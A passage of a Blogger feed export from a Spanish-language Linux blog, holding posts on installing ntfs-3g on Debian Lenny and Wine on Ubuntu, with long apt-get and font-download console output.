disco"&gt;particiones&lt;/a&gt; NTFS, con la excepción de ficheros &lt;a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa" title="Criptografía"&gt;cifrados&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Entonces ...&lt;br /&gt;&lt;br /&gt;1.- Lo busco:&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;apt-cache search ntfs-3g&lt;/span&gt;&lt;br /&gt;disk-manager - simple graphical filesystem configurator&lt;br /&gt;libntfs-3g-dev - ntfs-3g filesystem in userspace (FUSE) library headers&lt;br /&gt;libntfs-3g31 - ntfs-3g filesystem in userspace (FUSE) library&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ntfs-3g&lt;/span&gt; - read-write NTFS driver for FUSE&lt;br /&gt;&lt;br /&gt;2.- Lo instalo:&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;apt-get install ntfs-3g&lt;/span&gt;&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias    &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;libntfs-3g31&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;libntfs-3g31 ntfs-3g&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.&lt;br /&gt;Necesito descargar 168kB de archivos.&lt;br /&gt;Se utilizarán 467kB de espacio de disco adicional después de esta operación.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;br /&gt;Des:1 http://ftp.br.debian.org lenny/main libntfs-3g31 1:1.2531-1.1 [141kB]&lt;br /&gt;Des:2 http://ftp.br.debian.org lenny/main ntfs-3g 1:1.2531-1.1 [27,0kB]                                                                              &lt;br /&gt;Descargados 168kB en 8s (20,5kB/s)                                                                                                                   &lt;br /&gt;Seleccionando el paquete libntfs-3g31 previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;121840 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando libntfs-3g31 (de .../libntfs-3g31_1%3a1.2531-1.1_i386.deb) ...&lt;br /&gt;Seleccionando el paquete ntfs-3g previamente no seleccionado.&lt;br /&gt;Desempaquetando ntfs-3g (de .../ntfs-3g_1%3a1.2531-1.1_i386.deb) ...&lt;br /&gt;Procesando disparadores para man-db ...&lt;br /&gt;Procesando disparadores para hal ...&lt;br /&gt;Regenerating hal fdi cache ...&lt;br /&gt;Restarting Hardware abstraction layer: hald.&lt;br /&gt;Configurando libntfs-3g31 (1:1.2531-1.1) ...&lt;br /&gt;Configurando ntfs-3g (1:1.2531-1.1) ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y listo, por ahi sale un mensaje para aceptar la descarga al cual de las Yes. Luego conectas tu disco externo y se monta automaticamente.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-7267291561278314399?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/7267291561278314399/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=7267291561278314399' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7267291561278314399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7267291561278314399'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/08/montar-discos-en-debian-leny.html' title='Montar discos en Debian Leny'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5835025591995000452</id><published>2010-08-04T19:22:00.003-04:00</published><updated>2010-08-04T19:28:21.589-04:00</updated><title type='text'>Wine en Linux</title><content type='html'>Muchas veces necesitamos ejecutar algun programa .exe en linux, o instalar algun programa de windows en linux, para esto en el mundo del software libre tenemos muchos emuladores de las apis de windows para que corran en linux, como dosemu o el conocido wine.&lt;br /&gt;En este articulo  instalaremos wine con apt-get en ubuntu.&lt;br /&gt;&lt;br /&gt;entonces vamos a la consola y escribimos:&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;sudo apt-get install wine&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias     &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt; cabextract libmpg123-0 libopenal1 ttf-mscorefonts-installer ttf-symbol-replacement winbind wine1.2 wine1.2-gecko&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt; cabextract libmpg123-0 libopenal1 ttf-mscorefonts-installer ttf-symbol-replacement winbind wine wine1.2 wine1.2-gecko&lt;br /&gt;0 actualizados, 9 se instalarán, 0 para eliminar y 252 no actualizados.&lt;br /&gt;Necesito descargar 22,6MB de archivos.&lt;br /&gt;Se utilizarán 103MB de espacio de disco adicional después de esta operación.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;br /&gt;Des:1 http://archive.ubuntu.com/ubuntu/ lucid/universe ttf-symbol-replacement 1.1.42-0ubuntu4 [55,2kB]&lt;br /&gt;Des:2 http://archive.ubuntu.com/ubuntu/ lucid/universe libmpg123-0 1.12.1-0ubuntu1 [148kB]                                                                                                                     &lt;br /&gt;Des:3 http://archive.ubuntu.com/ubuntu/ lucid-updates/universe libopenal1 1:1.12.854-0ubuntu1~lucid1 [115kB]                                                                                                   &lt;br /&gt;Des:4 http://archive.ubuntu.com/ubuntu/ lucid/universe wine1.2 1.1.42-0ubuntu4 [9638kB]                                                                                                                        &lt;br /&gt;Des:5 http://archive.ubuntu.com/ubuntu/ lucid/multiverse wine1.2-gecko 1.0.0-0ubuntu4 [8123kB]                                                                                                                 &lt;br /&gt;Des:6 http://archive.ubuntu.com/ubuntu/ lucid/universe cabextract 1.2-3 [55,4kB]                                                                                                                               &lt;br /&gt;Des:7 http://archive.ubuntu.com/ubuntu/ lucid/multiverse ttf-mscorefonts-installer 3.2 [36,7kB]                                                                                                                &lt;br /&gt;Des:8 http://archive.ubuntu.com/ubuntu/ lucid/main winbind 2:3.4.7~dfsg-1ubuntu3 [4405kB]                                                                                                                      &lt;br /&gt;Des:9 http://archive.ubuntu.com/ubuntu/ lucid/universe wine 1.1.42-0ubuntu4 [38,5kB]                                                                                                                           &lt;br /&gt;Descargados 22,6MB en 1min 43s (218kB/s)                                                                                                                                                                       &lt;br /&gt;Preconfigurando paquetes ...&lt;br /&gt;Seleccionando el paquete ttf-symbol-replacement previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...  00%&lt;br /&gt;159210 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando ttf-symbol-replacement (de .../ttf-symbol-replacement_1.1.42-0ubuntu4_all.deb) ...&lt;br /&gt;Seleccionando el paquete libmpg123-0 previamente no seleccionado.&lt;br /&gt;Desempaquetando libmpg123-0 (de .../libmpg123-0_1.12.1-0ubuntu1_i386.deb) ...&lt;br /&gt;Seleccionando el paquete libopenal1 previamente no seleccionado.&lt;br /&gt;Desempaquetando libopenal1 (de .../libopenal1_1%3a1.12.854-0ubuntu1~lucid1_i386.deb) ...&lt;br /&gt;Seleccionando el paquete wine1.2 previamente no seleccionado.&lt;br /&gt;Desempaquetando wine1.2 (de .../wine1.2_1.1.42-0ubuntu4_i386.deb) ...&lt;br /&gt;Seleccionando el paquete wine1.2-gecko previamente no seleccionado.&lt;br /&gt;Desempaquetando wine1.2-gecko (de .../wine1.2-gecko_1.0.0-0ubuntu4_i386.deb) ...&lt;br /&gt;Seleccionando el paquete cabextract previamente no seleccionado.&lt;br /&gt;Desempaquetando cabextract (de .../cabextract_1.2-3_i386.deb) ...&lt;br /&gt;Seleccionando el paquete ttf-mscorefonts-installer previamente no seleccionado.&lt;br /&gt;Desempaquetando ttf-mscorefonts-installer (de .../ttf-mscorefonts-installer_3.2_all.deb) ...&lt;br /&gt;Seleccionando el paquete winbind previamente no seleccionado.&lt;br /&gt;Desempaquetando winbind (de .../winbind_2%3a3.4.7~dfsg-1ubuntu3_i386.deb) ...&lt;br /&gt;Seleccionando el paquete wine previamente no seleccionado.&lt;br /&gt;Desempaquetando wine (de .../wine_1.1.42-0ubuntu4_all.deb) ...&lt;br /&gt;Procesando disparadores para fontconfig ...&lt;br /&gt;Procesando disparadores para man-db ...&lt;br /&gt;Procesando disparadores para hicolor-icon-theme ...&lt;br /&gt;Procesando disparadores para desktop-file-utils ...&lt;br /&gt;Procesando disparadores para python-gmenu ...&lt;br /&gt;Rebuilding /usr/share/applications/desktop.es_CL.utf8.cache...&lt;br /&gt;Procesando disparadores para ureadahead ...&lt;br /&gt;ureadahead will be reprofiled on next reboot&lt;br /&gt;Procesando disparadores para python-support ...&lt;br /&gt;Configurando ttf-symbol-replacement (1.1.42-0ubuntu4) ...&lt;br /&gt;Configurando libmpg123-0 (1.12.1-0ubuntu1) ...&lt;br /&gt;&lt;br /&gt;Configurando libopenal1 (1:1.12.854-0ubuntu1~lucid1) ...&lt;br /&gt;&lt;br /&gt;Configurando wine1.2 (1.1.42-0ubuntu4) ...&lt;br /&gt;procps stop/waiting&lt;br /&gt;procps stop/waiting&lt;br /&gt;&lt;br /&gt;Configurando wine1.2-gecko (1.0.0-0ubuntu4) ...&lt;br /&gt;Configurando cabextract (1.2-3) ...&lt;br /&gt;Configurando ttf-mscorefonts-installer (3.2) ...&lt;br /&gt;&lt;br /&gt;These fonts were provided by Microsoft "in the interest of cross-&lt;br /&gt;platform compatibility".  This is no longer the case, but they are&lt;br /&gt;still available from third parties.&lt;br /&gt;&lt;br /&gt;You are free to download these fonts and use them for your own use,&lt;br /&gt;but you may not redistribute them in modified form, including changes&lt;br /&gt;to the file name or packaging format.&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:19:49--  http://downloads.sourceforge.net/corefonts/andale32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/andale32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:20:04--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/andale32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/andale32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:20:05--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/andale32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 198384 (194K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./andale32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 25% 43,1K 3s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 51% 73,1K 2s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 77%  156K 1s&lt;br /&gt;  150K .......... .......... .......... .......... ...       100%  141K=2,5s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:20:18 (78,3 KB/s) - `./andale32.exe' guardado [198384/198384]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:20:18--  http://downloads.sourceforge.net/corefonts/arialb32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/arialb32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:20:34--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/arialb32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/arialb32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:20:34--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/arialb32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 168176 (164K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./arialb32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 30% 40,5K 3s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 60% 82,0K 1s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 91%  162K 0s&lt;br /&gt;  150K .......... ....                                       100% 2,21M=2,2s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:20:48 (76,1 KB/s) - `./arialb32.exe' guardado [168176/168176]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:20:48--  http://downloads.sourceforge.net/corefonts/arial32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/arial32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:04--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/arial32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/arial32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:04--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/arial32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 554208 (541K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./arial32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... ..........  9% 34,8K 14s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 18%  158K 8s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 27% 82,5K 6s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 36%  162K 5s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 46%  154K 3s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 55%  127K 3s&lt;br /&gt;  300K .......... .......... .......... .......... .......... 64%  164K 2s&lt;br /&gt;  350K .......... .......... .......... .......... .......... 73%  163K 1s&lt;br /&gt;  400K .......... .......... .......... .......... .......... 83% 2,27M 1s&lt;br /&gt;  450K .......... .......... .......... .......... .......... 92%  172K 0s&lt;br /&gt;  500K .......... .......... .......... .......... .         100%  834K=4,4s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:21:19 (124 KB/s) - `./arial32.exe' guardado [554208/554208]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:21:19--  http://downloads.sourceforge.net/corefonts/comic32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/comic32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:35--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/comic32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/comic32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:35--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/comic32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 246008 (240K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./comic32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 20% 44,6K 4s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 41%  122K 2s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 62%  160K 1s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 83% 83,6K 0s&lt;br /&gt;  200K .......... .......... .......... ..........           100% 2,88M=2,5s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:21:48 (97,8 KB/s) - `./comic32.exe' guardado [246008/246008]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:21:48--  http://downloads.sourceforge.net/corefonts/courie32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/courie32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:59--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/courie32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/courie32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:21:59--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/courie32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 646368 (631K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./courie32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... ..........  7% 42,0K 14s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 15% 86,4K 9s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 23%  130K 7s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 31%  161K 5s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 39%  162K 4s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 47%  164K 3s&lt;br /&gt;  300K .......... .......... .......... .......... .......... 55%  183K 3s&lt;br /&gt;  350K .......... .......... .......... .......... .......... 63%  837K 2s&lt;br /&gt;  400K .......... .......... .......... .......... .......... 71%  171K 1s&lt;br /&gt;  450K .......... .......... .......... .......... .......... 79%  180K 1s&lt;br /&gt;  500K .......... .......... .......... .......... .......... 87%  171K 1s&lt;br /&gt;  550K .......... .......... .......... .......... .......... 95%  149K 0s&lt;br /&gt;  600K .......... .......... .......... .                    100% 1,89M=4,6s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:22:10 (136 KB/s) - `./courie32.exe' guardado [646368/646368]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:22:10--  http://downloads.sourceforge.net/corefonts/georgi32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/georgi32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:22:20--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/georgi32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/georgi32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:22:20--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/georgi32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 392440 (383K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./georgi32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 13% 41,6K 8s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 26%  134K 4s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 39% 90,0K 3s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 52%  168K 2s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 65%  174K 1s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 78%  138K 1s&lt;br /&gt;  300K .......... .......... .......... .......... .......... 91%  164K 0s&lt;br /&gt;  350K .......... .......... .......... ...                  100% 2,42M=3,4s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:22:30 (113 KB/s) - `./georgi32.exe' guardado [392440/392440]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:22:30--  http://downloads.sourceforge.net/corefonts/impact32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/impact32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:22:45--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/impact32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/impact32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:22:45--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/impact32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 173288 (169K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./impact32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 29% 40,7K 3s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 59%  158K 1s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 88% 82,2K 0s&lt;br /&gt;  150K .......... .........                                  100% 2,91M=2,2s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:22:58 (78,3 KB/s) - `./impact32.exe' guardado [173288/173288]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:22:58--  http://downloads.sourceforge.net/corefonts/times32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/times32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:23:14--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/times32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/times32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:23:14--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/times32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 661728 (646K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./times32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... ..........  7% 39,8K 15s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 15% 81,6K 10s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 23%  160K 7s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 30%  166K 6s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 38%  171K 4s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 46%  160K 4s&lt;br /&gt;  300K .......... .......... .......... .......... .......... 54%  156K 3s&lt;br /&gt;  350K .......... .......... .......... .......... .......... 61% 2,46M 2s&lt;br /&gt;  400K .......... .......... .......... .......... .......... 69%  168K 2s&lt;br /&gt;  450K .......... .......... .......... .......... .......... 77%  191K 1s&lt;br /&gt;  500K .......... .......... .......... .......... .......... 85% 1,41M 1s&lt;br /&gt;  550K .......... .......... .......... .......... .......... 92%  163K 0s&lt;br /&gt;  600K .......... .......... .......... .......... ......    100% 2,68M=4,3s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:23:29 (149 KB/s) - `./times32.exe' guardado [661728/661728]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:23:29--  http://downloads.sourceforge.net/corefonts/trebuc32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/trebuc32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:23:45--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/trebuc32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/trebuc32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:23:45--  http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/trebuc32.exe&lt;br /&gt;Resolviendo ufpr.dl.sourceforge.net... 200.17.202.1&lt;br /&gt;Conectando a ufpr.dl.sourceforge.net|200.17.202.1|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 357200 (349K) [application/x-msdos-program]&lt;br /&gt;Guardando en: `./trebuc32.exe'&lt;br /&gt;&lt;br /&gt;    0K .......... .......... .......... .......... .......... 14% 41,0K 7s&lt;br /&gt;   50K .......... .......... .......... .......... .......... 28%  153K 4s&lt;br /&gt;  100K .......... .......... .......... .......... .......... 43% 82,8K 3s&lt;br /&gt;  150K .......... .......... .......... .......... .......... 57%  155K 2s&lt;br /&gt;  200K .......... .......... .......... .......... .......... 71%  124K 1s&lt;br /&gt;  250K .......... .......... .......... .......... .......... 86%  162K 1s&lt;br /&gt;  300K .......... .......... .......... .......... ........  100%  161K=3,5s&lt;br /&gt;&lt;br /&gt;2010-08-04 19:23:59 (100 KB/s) - `./trebuc32.exe' guardado [357200/357200]&lt;br /&gt;&lt;br /&gt;--2010-08-04 19:23:59--  http://downloads.sourceforge.net/corefonts/verdan32.exe&lt;br /&gt;Resolviendo downloads.sourceforge.net... 216.34.181.59&lt;br /&gt;Conectando a downloads.sourceforge.net|216.34.181.59|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 301 Moved Permanently&lt;br /&gt;Ubicación: http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/verdan32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:24:15--  http://downloads.sourceforge.net/project/corefonts/the%20fonts/final/verdan32.exe&lt;br /&gt;Reusando la conexión existente a downloads.sourceforge.net:80.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 302 Found&lt;br /&gt;Ubicación: http://ufpr.dl.sourceforge.net/project/corefonts/the%20fonts/final/verdan32.exe [siguiente]&lt;br /&gt;--2010-08-04 19:24:15--  